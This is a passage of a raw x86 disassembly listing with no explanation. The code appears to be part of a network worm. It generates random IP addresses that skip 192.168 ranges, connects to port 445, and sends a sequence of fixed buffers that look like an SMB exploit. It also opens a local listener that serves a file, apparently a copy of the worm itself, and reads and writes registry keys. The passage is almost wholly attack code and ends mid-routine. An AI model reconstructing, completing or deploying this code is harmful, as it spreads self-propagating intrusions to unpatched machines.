		mov	ecx, [ebx+esi*4]
		mov	ecx, [esp+1Ch+var_14]
		mov	ecx, [eax+0Ch]
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_43EFDA
		call	dword ptr [ebx+esi*4+8]
		jmp	short loc_43EFDA
; ---------------------------------------------------------------------------

loc_43F009:				; CODE XREF: sub_43EFBD+2Aj
					; sub_43EFBD+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_43EFBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F017	proc near		; CODE XREF: .data:0043F0E8p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_401092
		push	[ebp+arg_0]
		call	sub_440755
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_43F017	endp

; ---------------------------------------------------------------------------
		db 0FCh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, [ebp+0Ch]
		mov	eax, [ebp+8]
		mov	dword ptr ds:loc_404086+6, eax
		mov	dword ptr ds:loc_40408D+3, ebx
		test	dword ptr [eax+4], 6
		jnz	loc_43F11C
		mov	[ebp-8], eax
		mov	eax, [ebp+10h]
		mov	[ebp-4], eax
		mov	dword ptr ds:loc_40408D+3, eax
		lea	eax, [ebp-8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]

loc_43F07A:				; CODE XREF: .data:0043F113j
		cmp	esi, 0FFFFFFFFh
		jz	loc_43F12B
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_43F10A
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		mov	eax, [ebp-14h]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	dword ptr ds:loc_40402C+4, eax
		mov	edx, [ebp-14h]
		mov	eax, [edx]
		mov	dword ptr ds:loc_404033+1, eax
		mov	eax, [edx+4]
		mov	dword ptr ds:loc_404033+5, eax
		push	esi
		push	edi
		push	ecx
		mov	ecx, 14h
		lea	edi, loc_40403B+1
		mov	esi, dword ptr ds:loc_404033+1
		rep movsd
		lea	edi, loc_40403B+1
		mov	dword ptr ds:loc_404033+1, edi
		pop	ecx
		pop	edi
		pop	esi
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+0Ch]
		or	eax, eax
		jz	short loc_43F10A
		js	short loc_43F118
		mov	edi, [ebx+8]
		push	ebx
		call	sub_43F017
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_43EFBD
		add	esp, 8
		lea	ecx, [esi+esi*2]
		mov	eax, [edi+ecx*4]
		mov	eax, [ebx+0Ch]
		call	dword ptr [edi+ecx*4+8]

loc_43F10A:				; CODE XREF: .data:0043F08Bj
					; .data:0043F0E0j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	loc_43F07A
; ---------------------------------------------------------------------------

loc_43F118:				; CODE XREF: .data:0043F0E2j
		xor	eax, eax
		jmp	short loc_43F18D
; ---------------------------------------------------------------------------

loc_43F11C:				; CODE XREF: .data:0043F05Aj
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_43EFBD
		add	esp, 0Ch

loc_43F12B:				; CODE XREF: .data:0043F07Dj
		push	0
		mov	dword ptr ds:loc_40400E+2, 0Bh
		push	0Bh
		call	sub_4408F9
		add	esp, 8
		or	eax, eax
		jnz	short loc_43F166
		push	0
		mov	dword ptr ds:loc_40400E+2, 8
		push	8
		call	sub_4408F9
		add	esp, 8
		or	eax, eax
		jnz	short loc_43F166
		mov	eax, 1
		jmp	short loc_43F18D
; ---------------------------------------------------------------------------

loc_43F166:				; CODE XREF: .data:0043F143j
					; .data:0043F15Dj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_43F195
		push	eax
		push	dword ptr ds:loc_40400E+2
		call	sub_4408F9
		add	esp, 8
		push	dword ptr ds:loc_40400E+2
		call	sub_4408E1
		add	esp, 4
		mov	eax, 1

loc_43F18D:				; CODE XREF: .data:0043F11Aj
					; .data:0043F164j ...
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_43F195:				; CODE XREF: .data:0043F169j
		cmp	dword ptr ds:loc_40402C, 0
		jnz	short loc_43F1A5
		mov	eax, 1
		jmp	short loc_43F18D
; ---------------------------------------------------------------------------

loc_43F1A5:				; CODE XREF: .data:0043F19Cj
		mov	eax, dword ptr ds:loc_40402C
		push	0Bh
		jmp	eax
; ---------------------------------------------------------------------------
		dw 0B858h
		dd 1, 0A164D7EBh, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	40401Ch
		push	offset sub_40109A
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		push	eax
		fnstcw	word ptr [esp]
		or	word ptr [esp],	300h
		fldcw	word ptr [esp]
		add	esp, 4
		push	0
		push	0
		push	404028h
		push	404024h
		push	offset sub_404020
		call	sub_4408A5
		push	dword ptr ds:loc_404025+3
		push	dword ptr ds:loc_404023+1
		push	dword ptr ds:sub_404020
		mov	dword ptr ds:loc_40400E+6, esp
		call	sub_4405FD
		add	esp, 18h
		xor	ecx, ecx
		mov	[ebp-4], ecx
		push	eax
		call	sub_4408BD
		leave
		retn
; ---------------------------------------------------------------------------
		db 64h,	0A3h, 0
		dd 0C3000000h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F239	proc near		; CODE XREF: sub_43F2D4+12p

var_35		= byte ptr -35h
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		push	2
		lea	eax, [ebp+var_35]
		push	eax
		push	[ebp+arg_0]
		call	sub_440899
		add	esp, 0Ch
		lea	ecx, [ebp+var_35]
		or	eax, 0FFFFFFFFh

loc_43F25C:				; CODE XREF: sub_43F239+28j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43F25C
		mov	ebx, eax
		mov	[ebp+var_2], bl
		mov	[ebp+var_1], 0
		jmp	short loc_43F284
; ---------------------------------------------------------------------------

loc_43F26E:				; CODE XREF: sub_43F239+55j
		movzx	eax, [ebp+var_1]
		movzx	edx, [ebp+var_2]
		sub	edx, eax
		dec	edx
		mov	al, [ebp+eax+var_35]
		mov	[edi+edx], al
		add	[ebp+var_1], 1

loc_43F284:				; CODE XREF: sub_43F239+33j
		movzx	eax, [ebp+var_1]
		movzx	edx, [ebp+var_2]
		cmp	eax, edx
		jl	short loc_43F26E
		movzx	eax, [ebp+var_2]
		mov	byte ptr [edi+eax], 0
		mov	[ebp+var_3], 0
		jmp	short loc_43F2B0
; ---------------------------------------------------------------------------

loc_43F29E:				; CODE XREF: sub_43F239+88j
		push	404DE5h
		push	edi
		call	sub_44091D
		add	esp, 8
		add	[ebp+var_3], 1

loc_43F2B0:				; CODE XREF: sub_43F239+63j
		movzx	eax, [ebp+var_3]
		mov	edx, 20h
		movzx	ecx, [ebp+var_2]
		sub	edx, ecx
		cmp	eax, edx
		jl	short loc_43F29E
		push	[ebp+arg_8]
		push	edi
		call	sub_44091D
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43F239	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F2D4	proc near		; CODE XREF: sub_4403F5+97p

var_32		= byte ptr -32h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	404DE3h
		lea	eax, [ebp+var_32]
		push	eax
		push	[ebp+arg_0]
		call	sub_43F239
		add	esp, 0Ch
		lea	eax, [ebp+var_32]
		push	eax
		call	sub_44070D
		leave
		retn
sub_43F2D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F2F9	proc near		; CODE XREF: .data:004403B3p
					; sub_4403F5+F1p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_44085D
		mov	edi, eax
		or	edi, edi
		jz	short loc_43F329
		xor	eax, eax
		jmp	short loc_43F361
; ---------------------------------------------------------------------------

loc_43F329:				; CODE XREF: sub_43F2F9+2Aj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	sub_44088D
		mov	edi, eax
		push	[ebp+var_4]
		call	sub_440869
		or	edi, edi
		jz	short loc_43F351
		xor	eax, eax
		jmp	short loc_43F361
; ---------------------------------------------------------------------------

loc_43F351:				; CODE XREF: sub_43F2F9+52j
		cmp	[ebp+var_8], 1
		jnz	short loc_43F35E
		mov	eax, 2
		jmp	short loc_43F361
; ---------------------------------------------------------------------------

loc_43F35E:				; CODE XREF: sub_43F2F9+5Cj
		xor	eax, eax
		inc	eax

loc_43F361:				; CODE XREF: sub_43F2F9+2Ej
					; sub_43F2F9+56j ...
		pop	edi
		leave
		retn
sub_43F2F9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F364	proc near		; CODE XREF: .data:0044038Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		push	20019h
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_440875
		mov	edi, eax
		or	edi, edi
		jz	short loc_43F389
		xor	eax, eax
		jmp	short loc_43F3B4
; ---------------------------------------------------------------------------

loc_43F389:				; CODE XREF: sub_43F364+1Fj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	sub_440881
		mov	edi, eax
		push	[ebp+var_4]
		call	sub_440869
		or	edi, edi
		jz	short loc_43F3B1
		xor	eax, eax
		jmp	short loc_43F3B4
; ---------------------------------------------------------------------------

loc_43F3B1:				; CODE XREF: sub_43F364+47j
		xor	eax, eax
		inc	eax

loc_43F3B4:				; CODE XREF: sub_43F364+23j
					; sub_43F364+4Bj
		pop	edi
		leave
		retn
sub_43F364	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0
		push	100h
		lea	eax, [ebp-100h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4405B5
		cmp	eax, 0FFFFFFFFh
		jz	loc_43F4FB
		push	404DDFh
		lea	eax, [ebp-100h]
		push	eax
		call	sub_440935
		add	esp, 8
		or	eax, eax
		jz	loc_43F4BD
		push	404DDBh
		lea	edx, [ebp-100h]
		push	edx
		call	sub_440935
		add	esp, 8
		or	eax, eax
		jz	loc_43F4BD
		push	0
		push	3Dh
		push	404D9Dh
		push	dword ptr [ebp+8]
		call	sub_4405C1
		push	dword ptr ds:loc_403004
		push	404D86h
		lea	eax, [ebp-200h]
		push	eax
		call	sub_440905
		add	esp, 0Ch
		lea	ecx, [ebp-200h]
		or	eax, 0FFFFFFFFh

loc_43F450:				; CODE XREF: .data:0043F455j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43F450
		push	0
		push	eax
		lea	edx, [ebp-200h]
		push	edx
		push	dword ptr [ebp+8]
		call	sub_4405C1

loc_43F469:				; CODE XREF: .data:0043F4AFj
		mov	eax, dword ptr ds:loc_403004
		mov	edi, eax
		sub	edi, ebx
		cmp	edi, 1000h
		jb	short loc_43F47F
		mov	edi, 1000h

loc_43F47F:				; CODE XREF: .data:0043F478j
		or	edi, edi
		jz	short loc_43F4B1
		push	0
		push	edi
		mov	eax, ebx
		add	eax, dword ptr ds:loc_403004+4
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4405C1
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_43F4FB
		cmp	esi, 1000h
		jb	short loc_43F4B1
		add	ebx, esi
		push	64h
		call	sub_44076D
		jmp	short loc_43F469
; ---------------------------------------------------------------------------

loc_43F4B1:				; CODE XREF: .data:0043F481j
					; .data:0043F4A4j
		push	404098h
		call	sub_440725
		jmp	short loc_43F4DF
; ---------------------------------------------------------------------------

loc_43F4BD:				; CODE XREF: .data:0043F3FAj
					; .data:0043F416j
		push	0
		push	15h
		push	404D70h
		push	dword ptr [ebp+8]
		call	sub_4405C1
		push	0
		push	0Dh
		push	40409Ch
		push	dword ptr [ebp+8]
		call	sub_4405C1

loc_43F4DF:				; CODE XREF: .data:0043F4BBj
		push	7D0h
		call	sub_44076D
		push	2
		push	dword ptr [ebp+8]
		call	sub_4405CD
		push	dword ptr [ebp+8]
		call	sub_440555

loc_43F4FB:				; CODE XREF: .data:0043F3DEj
					; .data:0043F49Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	0
		push	404098h
		call	sub_440719
		push	0
		push	80h
		push	3
		push	0
		push	1
		push	80000000h
		push	offset sub_403010
		call	sub_44073D
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_43F541
		push	1
		call	sub_4406AD

loc_43F541:				; CODE XREF: .data:0043F538j
		push	0
		push	ebx
		call	sub_4406D1
		mov	dword ptr ds:loc_403004, eax
		push	eax
		push	0
		call	sub_440731
		mov	dword ptr ds:loc_403004+4, eax
		push	0
		lea	eax, [ebp-30h]
		push	eax
		push	dword ptr ds:loc_403004
		push	dword ptr ds:loc_403004+4
		push	ebx
		call	sub_440749
		push	ebx
		call	sub_4406E9
		push	0
		push	1
		push	2
		call	sub_4405D9
		mov	esi, eax
		push	10h
		lea	eax, [ebp-24h]
		push	eax
		call	sub_440761
		mov	word ptr [ebp-24h], 2
		and	dword ptr [ebp-20h], 0
		mov	word ptr [ebp-26h], 0

loc_43F5A1:				; CODE XREF: .data:0043F5E1j
		movzx	eax, word ptr [ebp-26h]
		add	eax, 50h
		mov	word ptr ds:loc_404092+2, ax
		movzx	eax, word ptr ds:loc_404092+2
		push	eax
		call	sub_440585
		mov	edx, eax
		mov	[ebp-22h], dx
		push	10h
		lea	eax, [ebp-24h]
		push	eax
		push	esi
		call	sub_440549
		mov	[ebp-2Ch], eax
		inc	word ptr [ebp-26h]
		or	eax, eax
		jz	short loc_43F5E3
		movzx	eax, word ptr [ebp-26h]
		cmp	eax, 0FDE8h
		jl	short loc_43F5A1

loc_43F5E3:				; CODE XREF: .data:0043F5D6j
		push	64h
		push	esi
		call	sub_4405A9
		mov	dword ptr [ebp-4], 10h

loc_43F5F2:				; CODE XREF: .data:0043F61Dj
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		push	esi
		call	sub_44053D
		mov	edi, eax
		lea	eax, [ebp-34h]
		push	eax
		push	0
		push	edi
		push	40141Ah
		push	0
		push	0
		call	sub_440791
		push	eax
		call	sub_4406E9
		jmp	short loc_43F5F2
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0C3C95B5Eh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F624	proc near		; CODE XREF: .data:0043FE57p

var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_13		= byte ptr -13h
var_3		= byte ptr -3
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_13]
		lea	esi, sub_4040AA
		mov	ecx, 4
		rep movsd
		lea	edi, [ebp+var_18]
		lea	esi, loc_4040B4+6
		mov	ecx, 5
		rep movsb

loc_43F64D:				; CODE XREF: sub_43F624+51j
					; sub_43F624+74j
		call	sub_4408ED
		mov	ecx, 0DDh
		cdq
		idiv	ecx
		lea	edi, [edx+3]
		mov	ebx, edi
		mov	[ebp+var_3], bl
		mov	[ebp+var_2], 0
		jmp	short loc_43F69E
; ---------------------------------------------------------------------------

loc_43F66A:				; CODE XREF: sub_43F624+81j
		mov	al, [ebp+var_3]
		movzx	edx, [ebp+var_2]
		cmp	al, [ebp+edx+var_13]
		jz	short loc_43F64D
		movzx	eax, [ebp+var_2]
		cmp	eax, 5
		jnb	short loc_43F69A
		movzx	eax, [ebp+var_3]
		movzx	edx, [ebp+var_2]
		movzx	ecx, [ebp+edx+var_13]
		cmp	eax, ecx
		jb	short loc_43F69A
		movzx	edx, [ebp+edx+var_18]
		cmp	eax, edx
		jbe	short loc_43F64D

loc_43F69A:				; CODE XREF: sub_43F624+5Aj
					; sub_43F624+6Bj
		inc	[ebp+var_2]

loc_43F69E:				; CODE XREF: sub_43F624+44j
		movzx	eax, [ebp+var_2]
		cmp	eax, 10h
		jb	short loc_43F66A

loc_43F6A7:				; CODE XREF: sub_43F624+ACj
		call	sub_4408ED
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		lea	edi, [edx+1]
		mov	ebx, edi
		mov	[ebp+var_19], bl
		movzx	eax, [ebp+var_3]
		cmp	eax, 0C0h
		jnz	short loc_43F6D2
		movzx	eax, [ebp+var_19]
		cmp	eax, 0A8h
		jz	short loc_43F6A7

loc_43F6D2:				; CODE XREF: sub_43F624+A1j
		call	sub_4408ED
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		lea	edi, [edx+1]
		mov	ebx, edi
		mov	[ebp+var_1A], bl
		call	sub_4408ED
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		lea	edi, [edx+1]
		mov	ebx, edi
		mov	[ebp+var_1B], bl
		movzx	eax, [ebp+var_1B]
		push	eax
		movzx	eax, [ebp+var_1A]
		push	eax
		movzx	eax, [ebp+var_19]
		push	eax
		movzx	eax, [ebp+var_3]
		push	eax
		push	404D64h
		push	[ebp+arg_0]
		call	sub_440905
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43F624	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F725	proc near		; CODE XREF: .data:0044005Cp

var_89F4	= dword	ptr -89F4h
var_89F0	= dword	ptr -89F0h
var_89EC	= dword	ptr -89ECh
var_89E8	= dword	ptr -89E8h
var_89E3	= byte ptr -89E3h
var_89E2	= word ptr -89E2h
var_89E0	= byte ptr -89E0h
var_89D8	= byte ptr -89D8h
var_8970	= byte ptr -8970h
var_6900	= byte ptr -6900h
var_68E2	= byte ptr -68E2h
var_6842	= byte ptr -6842h
var_6136	= dword	ptr -6136h
var_6126	= byte ptr -6126h
var_6112	= byte ptr -6112h
var_60A2	= byte ptr -60A2h
var_55DE	= byte ptr -55DEh
var_403A	= byte ptr -403Ah
var_4039	= byte ptr -4039h
var_3FBD	= byte ptr -3FBDh
var_37ED	= byte ptr -37EDh
var_3342	= byte ptr -3342h
var_3058	= dword	ptr -3058h
var_3054	= dword	ptr -3054h
var_3050	= dword	ptr -3050h
var_304C	= word ptr -304Ch
var_304A	= word ptr -304Ah
var_3048	= dword	ptr -3048h
var_303C	= byte ptr -303Ch
var_3039	= byte ptr -3039h
var_300F	= byte ptr -300Fh
var_300D	= byte ptr -300Dh
var_300C	= byte ptr -300Ch
var_2FC7	= byte ptr -2FC7h
var_2F83	= byte ptr -2F83h
var_2987	= byte ptr -2987h
var_21A3	= byte ptr -21A3h
var_2193	= byte ptr -2193h
var_1E6F	= byte ptr -1E6Fh
var_1E6B	= byte ptr -1E6Bh
var_1E5F	= byte ptr -1E5Fh
var_1BDA	= byte ptr -1BDAh
var_1BD9	= byte ptr -1BD9h
var_B46		= byte ptr -0B46h
var_82		= byte ptr -82h
var_81		= byte ptr -81h
var_80		= dword	ptr -80h
var_7C		= byte ptr -7Ch
var_54		= dword	ptr -54h
var_50		= byte ptr -50h
var_4F		= byte ptr -4Fh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 89F4h
		call	sub_440661
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_3054],	1
		mov	[ebp+var_89F0],	1
		lea	edi, [ebp+var_89E0]
		lea	esi, loc_4049EB+5
		movsd
		movsd
		and	[ebp+var_89F4],	0
		mov	[ebp+var_89E2],	1BDh
		push	0
		push	1
		push	2
		call	sub_4405D9
		mov	[ebp+var_54], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43FD7B
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_89EC],	eax
		push	eax
		call	sub_44059D
		push	1Dh
		push	eax
		lea	edi, [ebp+var_6900]
		push	edi
		call	sub_440779
		lea	eax, [ebp+var_6900]
		push	eax
		push	404D5Ah
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_440905
		add	esp, 0Ch
		xor	ebx, ebx

loc_43F7B6:				; CODE XREF: sub_43F725+A2j
		mov	dl, [ebp+ebx+var_7C]
		mov	[ebp+ebx*2+var_50], dl
		mov	[ebp+ebx*2+var_4F], 0
		inc	ebx
		cmp	ebx, 28h
		jl	short loc_43F7B6
		push	60h
		push	offset sub_404525
		lea	eax, [ebp+var_303C]
		push	eax
		call	sub_4408C9
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_440785
		mov	edi, eax
		shl	edi, 1
		push	edi
		lea	edi, [ebp+var_50]
		push	edi
		lea	edi, [ebp+var_300C]
		push	edi
		call	sub_4408C9
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_440785
		push	9
		push	40457Ch
		mov	edi, eax
		shl	edi, 1
		lea	edi, [ebp+edi+var_300D]
		push	edi
		call	sub_4408C9
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_440785
		mov	edx, eax
		movsx	edi, dl
		shl	edi, 1
		add	edi, 34h
		mov	edx, edi
		mov	[ebp+var_403A],	dl
		push	1
		lea	eax, [ebp+var_403A]
		push	eax
		lea	eax, [ebp+var_3039]
		push	eax
		call	sub_4408C9
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_440785
		mov	edx, eax
		movsx	edi, dl
		shl	edi, 1
		add	edi, 9
		mov	edx, edi
		mov	[ebp+var_89E3],	dl
		push	1
		lea	eax, [ebp+var_89E3]
		push	eax
		lea	eax, [ebp+var_300F]
		push	eax
		call	sub_4408C9
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_3058],	eax
		push	0E29h
		push	31h
		lea	eax, [ebp+var_4039]
		push	eax
		call	sub_4408D5
		add	esp, 48h
		push	10h
		lea	eax, [ebp+var_304C]
		push	eax
		call	sub_440761
		mov	[ebp+var_304C],	2
		movsx	eax, [ebp+var_89E2]
		movzx	eax, ax
		push	eax
		call	sub_440585
		mov	edi, eax
		mov	[ebp+var_304A],	di
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_3048],	eax
		push	10h
		lea	eax, [ebp+var_304C]
		push	eax
		push	[ebp+var_54]
		call	sub_440561
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_43F8F8
		mov	[ebp+var_3054],	2
		jmp	loc_43FD73
; ---------------------------------------------------------------------------

loc_43F8F8:				; CODE XREF: sub_43F725+1C2j
		push	64h
		call	sub_44076D
		push	0
		push	89h
		push	offset sub_404313
		push	[ebp+var_54]
		call	sub_4405C1
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_44076D
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_4405B5
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43FD69
		push	0
		push	0A8h
		push	40439Dh
		push	[ebp+var_54]
		call	sub_4405C1
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_44076D
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_4405B5
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43FD69
		push	0
		push	0DEh
		push	404446h
		push	[ebp+var_54]
		call	sub_4405C1
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_44076D
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_4405B5
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43FD69
		mov	eax, [ebp+var_80]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_43F9D2
		cmp	eax, 46h
		jge	short loc_43F9D7

loc_43F9D2:				; CODE XREF: sub_43F725+2A6j
		jmp	loc_43FD69
; ---------------------------------------------------------------------------

loc_43F9D7:				; CODE XREF: sub_43F725+2ABj
		lea	eax, [ebp+var_2F83]
		mov	[ebp+var_89E8],	eax
		cmp	byte ptr [eax],	31h
		setnz	al
		and	eax, 1
		mov	[ebp+var_3050],	eax
		jz	loc_43FAEB
		push	0DACh
		push	90h
		lea	eax, [ebp+var_2987]
		push	eax
		call	sub_4408D5
		push	4
		imul	eax, [ebp+var_3050], 3Ch
		lea	eax, ds:404938h[eax]
		push	eax
		lea	eax, [ebp+var_21A3]
		push	eax
		call	sub_4408C9
		push	[ebp+arg_8]
		push	[ebp+var_3058]
		lea	eax, [ebp+var_2193]
		push	eax
		call	sub_4408C9
		push	4
		push	404D55h
		lea	eax, [ebp+var_1E6F]
		push	eax
		call	sub_4408C9
		push	4
		imul	eax, [ebp+var_3050], 3Ch
		lea	eax, ds:404938h[eax]
		push	eax
		lea	eax, [ebp+var_1E6B]
		push	eax
		call	sub_4408C9
		push	[ebp+var_3058]
		call	sub_440785
		push	eax
		push	[ebp+var_3058]
		lea	edi, [ebp+var_1E5F]
		push	edi
		call	sub_4408C9
		add	esp, 48h
		xor	ebx, ebx

loc_43FA93:				; CODE XREF: sub_43F725+38Bj
		mov	dl, [ebp+ebx+var_2987]
		mov	[ebp+ebx*2+var_1BDA], dl
		mov	[ebp+ebx*2+var_1BD9], 0
		inc	ebx
		cmp	ebx, 0DACh
		jl	short loc_43FA93
		mov	[ebp+var_82], 0
		mov	[ebp+var_81], 0
		push	1C52h
		push	31h
		lea	eax, [ebp+var_89D8]
		push	eax
		call	sub_4408D5
		push	1C52h
		push	31h
		lea	eax, [ebp+var_6112]
		push	eax
		call	sub_4408D5
		add	esp, 18h
		jmp	short loc_43FB4D
; ---------------------------------------------------------------------------

loc_43FAEB:				; CODE XREF: sub_43F725+2CDj
		push	7D0h
		push	90h
		lea	eax, [ebp+var_68E2]
		push	eax
		call	sub_4408D5
		push	[ebp+var_3058]
		call	sub_440785
		push	eax
		push	[ebp+var_3058]
		lea	edi, [ebp+var_6842]
		push	edi
		call	sub_4408C9
		lea	eax, [ebp+var_89E0]
		push	eax
		call	sub_440785
		push	eax
		lea	edi, [ebp+var_89E0]
		push	edi
		lea	edi, [ebp+var_6126]
		push	edi
		call	sub_4408C9
		add	esp, 24h
		mov	eax, dword ptr ds:loc_404937+1
		mov	[ebp+var_6136],	eax

loc_43FB4D:				; CODE XREF: sub_43F725+3C4j
		push	0
		movsx	eax, [ebp+var_403A]
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_303C]
		push	eax
		push	[ebp+var_54]
		call	sub_4405C1
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_44076D
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_4405B5
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43FD69
		push	0
		push	68h
		push	offset sub_404586
		push	[ebp+var_54]
		call	sub_4405C1
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_44076D
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_4405B5
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43FD69
		push	0
		push	0A0h
		push	offset sub_4045EF
		push	[ebp+var_54]
		call	sub_4405C1
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_44076D
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_4405B5
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43FD69
		cmp	[ebp+var_3050],	0
		jz	loc_43FCF5
		push	68h
		push	offset sub_40479E
